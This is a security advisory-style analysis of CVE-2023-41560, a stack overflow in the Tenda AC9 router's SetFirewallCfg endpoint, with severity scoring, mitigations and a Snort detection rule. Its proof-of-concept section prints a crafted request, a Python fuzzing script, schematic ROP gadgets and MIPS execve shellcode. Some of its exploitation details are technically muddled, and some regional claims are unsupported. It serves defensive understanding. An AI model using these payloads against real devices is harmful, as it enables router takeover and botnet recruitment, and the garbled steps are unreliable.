Description
Tenda AC9 V3.0 V15.03.06.42_multi was discovered to contain a stack overflow via parameter firewallEn at url /goform/SetFirewallCfg.
EPSS Score:
0%
Technical Analysis of EUVD-2023-46057 (CVE-2023-41560)
Vulnerability: Stack Overflow in Tenda AC9 V3.0 via /goform/SetFirewallCfg
1. Vulnerability Assessment & Severity Evaluation
Vulnerability Type
- Stack-based Buffer Overflow (CWE-121) in the
firewallEnparameter of the/goform/SetFirewallCfgendpoint. - Remote Code Execution (RCE) Potential: Due to the lack of input validation, an attacker can overwrite the stack, manipulate return addresses, and execute arbitrary code with root privileges (common in embedded devices).
CVSS v3.1 Analysis
| Metric | Value | Explanation |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploitable remotely over the network without physical access. |
| Attack Complexity (AC) | Low (L) | No special conditions required; straightforward exploitation. |
| Privileges Required (PR) | None (N) | No authentication needed. |
| User Interaction (UI) | None (N) | No user action required. |
| Scope (S) | Unchanged (U) | Impact is confined to the vulnerable device. |
| Confidentiality (C) | High (H) | Full system compromise possible. |
| Integrity (I) | High (H) | Attacker can modify system configurations or inject malware. |
| Availability (A) | High (H) | Device can be crashed or rendered inoperable. |
Base Score: 9.8 (Critical) – This is a high-severity vulnerability due to its remote exploitability, lack of authentication requirements, and potential for full system compromise.
2. Potential Attack Vectors & Exploitation Methods
Exploitation Mechanism
-
Unauthenticated HTTP Request Crafting
- The vulnerability is triggered by sending a maliciously crafted HTTP POST request to
/goform/SetFirewallCfgwith an oversizedfirewallEnparameter. - Example payload (simplified):
POST /goform/SetFirewallCfg HTTP/1.1 Host: <TARGET_IP> Content-Type: application/x-www-form-urlencoded Content-Length: <LENGTH> firewallEn=<MALICIOUS_PAYLOAD>&other_params=... - The
firewallEnparameter lacks bounds checking, leading to a stack overflow when processed by the firmware.
- The vulnerability is triggered by sending a maliciously crafted HTTP POST request to
-
Stack Smashing & RCE
- The overflow allows an attacker to:
- Overwrite the return address on the stack.
- Redirect execution to shellcode (if ASLR/DEP are not enforced).
- Gain root-level access (common in embedded Linux-based routers).
- The overflow allows an attacker to:
-
Post-Exploitation Impact
- Persistence: Install backdoors (e.g., reverse shells, botnet clients).
- Lateral Movement: Pivot into internal networks if the router is used as a gateway.
- Data Exfiltration: Intercept/modify traffic (MITM attacks).
- Denial of Service (DoS): Crash the device by corrupting critical memory structures.
Exploitation Requirements
- Network Access: The attacker must be able to send HTTP requests to the router (LAN or WAN, depending on firewall rules).
- No Authentication: The endpoint does not require credentials.
- Publicly Exposed Routers: If the router’s admin interface is exposed to the internet (common in SOHO environments), it is trivially exploitable.
3. Affected Systems & Software Versions
Vulnerable Product
- Tenda AC9 V3.0 (Wireless Router)
- Firmware Version:
V15.03.06.42_multi - Hardware Revision: Likely all AC9 V3.0 devices running the affected firmware.
Scope of Impact
- Consumer & SOHO Networks: Tenda routers are widely used in home and small business environments.
- Geographical Distribution: High prevalence in Europe (particularly Eastern Europe, where Tenda has significant market share).
- Exploit Availability: Proof-of-concept (PoC) code is publicly available (see GitHub reference), increasing the risk of mass exploitation.
4. Recommended Mitigation Strategies
Immediate Actions
-
Firmware Update
- Check for patches: Tenda may release a fixed firmware version (though no official advisory is linked in the EUVD entry).
- Manual patching: If no update is available, consider replacing the device or using third-party firmware (e.g., OpenWRT, DD-WRT) if supported.
-
Network-Level Protections
- Disable WAN Access to Admin Interface:
- Restrict access to the router’s web interface to LAN-only.
- Use firewall rules to block external access to port
80/443(or custom admin ports).
- Enable HTTPS & Strong Authentication:
- If remote management is necessary, enforce HTTPS and strong passwords.
- Disable default credentials (admin/admin, admin/password).
- Disable WAN Access to Admin Interface:
-
Intrusion Detection & Prevention
- Deploy IDS/IPS: Use Snort/Suricata rules to detect exploitation attempts:
alert tcp any any -> $HOME_NET 80 (msg:"Tenda AC9 Stack Overflow Exploit Attempt"; flow:to_server,established; content:"POST /goform/SetFirewallCfg"; nocase; content:"firewallEn="; nocase; pcre:"/firewallEn=[^\x00]{500,}/"; sid:1000001; rev:1;) - Monitor for Anomalies: Unusual outbound connections from the router may indicate compromise.
- Deploy IDS/IPS: Use Snort/Suricata rules to detect exploitation attempts:
-
Segmentation & Isolation
- VLAN Segmentation: Isolate IoT/embedded devices from critical internal networks.
- Disable UPnP: Prevents automatic port forwarding, reducing attack surface.
Long-Term Recommendations
- Vendor Engagement: Encourage Tenda to:
- Release a security advisory with patch details.
- Implement automatic firmware updates.
- Conduct code audits to identify similar vulnerabilities.
- End-User Awareness: Educate consumers on:
- The risks of default credentials.
- The importance of regular firmware updates.
- Regulatory Compliance: Ensure affected devices comply with:
- EU Cyber Resilience Act (CRA).
- NIS2 Directive (if used in critical infrastructure).
5. Impact on the European Cybersecurity Landscape
Regional Risk Assessment
- High Prevalence in SOHO & Consumer Markets:
- Tenda routers are widely deployed in Europe, particularly in Eastern Europe, Germany, and the UK.
- Many users do not update firmware, leaving devices exposed for years.
- Botnet Recruitment Risk:
- Vulnerable routers are prime targets for Mirai-like botnets (e.g., Mozi, Gafgyt).
- Compromised devices can be used for DDoS attacks, cryptomining, or proxy networks.
- Supply Chain Concerns:
- Many ISPs bundle Tenda routers with internet plans, increasing the attack surface.
- Lack of vendor transparency (no official advisory) exacerbates the risk.
Regulatory & Policy Implications
- ENISA & National CSIRTs:
- Should issue public warnings to affected users.
- May include this vulnerability in threat intelligence feeds (e.g., MISP).
- EU Cybersecurity Certification:
- Highlights the need for mandatory security testing for consumer IoT devices.
- Reinforces the importance of vulnerability disclosure policies for vendors.
- Incident Response Preparedness:
- CERTs should prepare for large-scale exploitation (similar to CVE-2021-41773 in Apache).
6. Technical Details for Security Professionals
Root Cause Analysis
- Vulnerable Function: The
SetFirewallCfghandler in the router’s HTTP daemon (likely a custom or modifiedlighttpd/uhttpd). - Buffer Overflow Mechanism:
- The
firewallEnparameter is copied into a fixed-size stack buffer without length validation. - Example (pseudo-code):
char stack_buffer[256]; strcpy(stack_buffer, http_get_param("firewallEn")); // No bounds checking - An input exceeding 256 bytes will overflow the stack, corrupting the return address and saved registers.
- The
Exploitation Steps (PoC)
- Fuzz the Parameter:
- Send progressively larger
firewallEnvalues to identify the crash point. - Example:
import requests url = "http://<TARGET_IP>/goform/SetFirewallCfg" payload = "firewallEn=" + "A" * 500 requests.post(url, data=payload)
- Send progressively larger
- Determine Offset:
- Use a cyclic pattern (e.g.,
cyclic 1000) to find the exact offset where the return address is overwritten.
- Use a cyclic pattern (e.g.,
- Craft ROP Chain (if ASLR is disabled):
- If the device lacks ASLR/DEP, construct a Return-Oriented Programming (ROP) chain to bypass NX.
- Example gadgets (if MIPS/ARM):
pop $ra; jr $ra # Control execution flow system("/bin/sh") # Spawn shell
- Deploy Shellcode:
- If NX is disabled, inject shellcode into an executable memory region (e.g.,
.textsection). - Example (MIPS little-endian):
shellcode = ( b"\x24\x0f\xff\xfa" # li $t7, -6 b"\x01\xe0\x78\x27" # nor $t7, $t7, $zero b"\x21\xe4\xff\xfd" # addi $a0, $t7, -3 b"\x21\xe5\xff\xfd" # addi $a1, $t7, -3 b"\x28\x06\xff\xff" # slti $a2, $zero, -1 b"\x24\x02\x0f\xab" # li $v0, 4011 (execve) b"\x01\x01\x01\x0c" # syscall 0x40404 b"/bin/sh\x00" )
- If NX is disabled, inject shellcode into an executable memory region (e.g.,
- Weaponization:
- Combine with Metasploit or custom exploit scripts for automated attacks.
Detection & Forensics
- Log Analysis:
- Check router logs (
/var/log/messages,/var/log/httpd.log) for:- Malformed HTTP requests with oversized
firewallEnparameters. - Crash dumps (if enabled).
- Malformed HTTP requests with oversized
- Check router logs (
- Memory Forensics:
- Use GDB or Volatility (if firmware is extracted) to analyze:
- Stack corruption (e.g.,
0x41414141in registers). - ROP gadgets in memory.
- Stack corruption (e.g.,
- Use GDB or Volatility (if firmware is extracted) to analyze:
- Network Traffic Analysis:
- Look for unusual outbound connections (e.g., to C2 servers).
- DNS exfiltration attempts (if data is being stolen).
Reverse Engineering (Optional)
- Firmware Extraction:
- Use binwalk to extract the firmware:
binwalk -e Tenda_AC9_V15.03.06.42_multi.bin
- Use binwalk to extract the firmware:
- Binary Analysis:
- Use Ghidra/IDA Pro to analyze the
SetFirewallCfghandler. - Identify unsafe functions (
strcpy,sprintf,gets).
- Use Ghidra/IDA Pro to analyze the
- Dynamic Analysis:
- Run the firmware in QEMU and attach a debugger (e.g., GDB).
- Fuzz the endpoint using Boofuzz or AFL.
Conclusion
EUVD-2023-46057 (CVE-2023-41560) represents a critical remote code execution vulnerability in Tenda AC9 routers, posing a significant threat to European SOHO and consumer networks. Given the public PoC availability and lack of vendor response, immediate mitigation is essential. Security teams should:
- Patch or replace affected devices.
- Restrict network access to vulnerable interfaces.
- Monitor for exploitation attempts.
- Engage with ENISA and national CERTs to coordinate response efforts.
Failure to address this vulnerability could lead to large-scale botnet recruitment, data breaches, and network disruptions across Europe.